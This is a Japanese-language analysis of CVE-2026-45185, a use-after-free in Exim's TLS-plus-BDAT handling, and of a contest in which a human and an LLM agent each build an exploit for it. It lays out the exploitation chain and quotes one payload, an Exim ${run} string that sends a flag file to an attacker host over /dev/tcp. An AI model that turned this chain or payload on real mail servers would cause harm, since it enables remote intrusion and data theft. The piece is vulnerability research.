Dead.Letter: Eximにおける認証なしRCEの分析 (CVE-2026-45185)

Dead.Letter: Eximにおける認証なしRCEの分析 (CVE-2026-45185)

CVE-2026-45185の発見は、Unix系システムで最も広く使用されているMail Transfer Agent (MTA)の一つであるEximにおける、深刻な認証なしリモートコード実行 (RCE) の脆弱性を明らかにしました。このバグの技術的な深刻さに加え、その開示プロセスはユニークな実験として機能しました。ベテランの人間によるエクスプロイト開発者と、自律的なLLM駆動型システム (XBOW Native) との間で、どちらが先に動作するPoCを開発できるかを競うレースです。

脆弱性: 1バイト書き込みが引き起こす災厄

CVE-2026-45185は、多くのDebianベースのディストリビューションでデフォルトのライブラリであるGnuTLSによってTLS接続が処理される際に発生する、use-after-free (UAF) の脆弱性です。

トリガーメカニズム

このバグは、セッション終了時のEximにおけるTLSからプレーンテキストへの遷移の処理方法に起因しています。TLS接続が閉じられるとき、Eximはtls_close()を呼び出し、xfer_buffer (復号に使用される4096バイトのプレーンテキスト領域) を解放します。しかし、サーバーが現在BDAT (RFC 3030 CHUNKING) 操作を処理している場合、パーサーはモーダルな状態にあります。

Eximは受信関数のスタックを使用します。BDATがアクティブなとき、BDAT特有のラッパーをスタックにプッシュし、それがさらに基礎となるTLS関数を呼び出します。重要なことに、tls_close()はトップレベルの受信コールバックをプレーンテキストのSMTP関数に復元しますが、下位レベルのBDATラッパーをクリアすることに失敗します

これにより、以下の状況が発生するウィンドウが生じます:

  1. xfer_buffer が解放される。
  2. BDATラッパーがアクティブなままで、依然としてtls_ungetcを指している。
  3. BDATパーサーが欠落したCRLFに遭遇した場合、bdat_ungetc()を呼び出し、それがtls_ungetc()を呼び出す。

tls_ungetcは、古いポインタを使用して単一の文字 (通常は\nまたは\r) をxfer_bufferに書き戻すため、解放されたメモリへの1バイト書き込みを実行してしまいます。

プリミティブの格上げ

1バイト書き込みは一見弱そうに見えますが、エクスプロイトはこれを利用して、store subsystemとして知られるExim独自のカスタムメモリ割り当て器のメタデータを破損させます。

Eximは、短期間のオブジェクトを管理するために、プールベースのバンプ割り当て器を使用しています。storeblockヘッダーは、nextポインタとlengthフィールドで構成されています。UAF書き込みのタイミングを正確に制御してstoreblocklengthフィールドに到達させることで、攻撃者はメモリプールの知覚的なサイズを膨張させることができます。これにより、後続の割り当てがヒープ内の他の重要なデータ構造と重なり合うようになり、限定的な書き込みを強力なメモリ破損プリミティブへと効果的に変貌させます。

レース: 人間 vs. 機械

自律的なエクスプロイト開発の能力をテストするため、研究者は人間のエキスパートと、LLMベースのエージェントであるXBOW Nativeを対決させました。

ラウンド1: ASLRなし、PIEなし

簡略化された環境 (Address Space Layout Randomization または Position Independent Executableなし) では、LLMが決定的に勝利しました。LLMはExim特有の割り当て器をバイパスし、代わりにglibcの内部構造をターゲットにしました。glibcのlargebinポインタを破損させ、malloc(4096)の呼び出しを攻撃者が制御可能なアドレスへリダイレクトし、続いてFILE構造体のvtableを上書きして、システムフラグを奪取するためのROPチェーンへとピボットしました。

ラウンド2: ASLR有効化

ASLRが有効な場合、LLMは戦略を転換し、glibcのトリックではなくExim自身のstore割り当て器を攻撃する方向に動きました。LLMはプールのlengthフィールドを膨張させ、プールをプログラム可能なバンプポインタとして使用して静的メモリ内にポインタを指すポインタを植え付け、最終的にacl_smtp_predataを上書きして、悪意のあるExim拡張文字列を実行しました:${run{/bin/bash -c 'cat</flag>/dev/tcp/$LHOST/$LPORT'}{accept}}

ラウンド3: 本番環境ターゲット

現実的な本番環境のビルドに対しては、人間の開発者がより大きな成功を収めました。人間はexim_sha_initにおける新しいメモリ消費リークを特定することで、より多くの成功を見出しました。gnutls_hash_initを使用してヒープの空き領域を消費させることで、人間は決定論的なメモリ状態を作り出し、最終的にスタックポインタのリークを達成しました。これは、フルASLR/PIE保護を回避するための重要なステップです。

主要な洞察と教訓

LLMの力と限界

実験の結果、LLMは既知のパターンを合成することに非常に長けていることが示唆されました。LLMの最初の成功は、本質的に「CTFスタイル」のエクスプロイトであり、largebin攻撃や、capture-the-flagコンペティションで一般的なFSOP (File Stream Oriented Programming) ガジェットを組み合わせていました。

しかし、人間の開発者は「難しい部分は依然として難しい」と指摘しました。現実世界のターゲットは、しばしば「ノイズの多い」ヒープや、予期せぬオブジェクトの生存期間 (GnuTLS証明書構造体など、解放を拒否する構造体) を持っており、これらには、LLMが現在欠いている直感、懐疑心、および手動のデバッグが求められます。

攻撃チェーンの技術的要約

ステージ アクション 結果
トリガー BDATチャンキング中のTLS終了 xfer_buffer が解放されるが、tls_ungetc が到達可能に残る
Corruption bdat_ungetc を呼び出す 解放された xfer_buffer への1バイト書き込み
Escalation storeblocklength を破損 プール膨張 $\rightarrow$ Out-of-bounds (OOB) アクセス
Execution acl_smtp_predata を上書き ${run} を介した任意のシェルコマンドの実行

結論

CVE-2026-45185は、BDAT over TLSのようなモーダルな状態遷移が、微妙なメモリ管理のエラーを引き起こす可能性があるという、複雑なC言語ベースのソフトウェアにおける持続的なリスクをハイスクライトしています。LLMは現在、脆弱性研究の初期段階を「ターボチャージ」できる (研究者がコードをコード理解し、仮説を生成するのを助ける) ことが可能ですが、最終的なエクスプロイト開発において、堅牢な本番環境ターゲットに対しては、依然として人間のエキスパートの知識が必要とされます。

Sources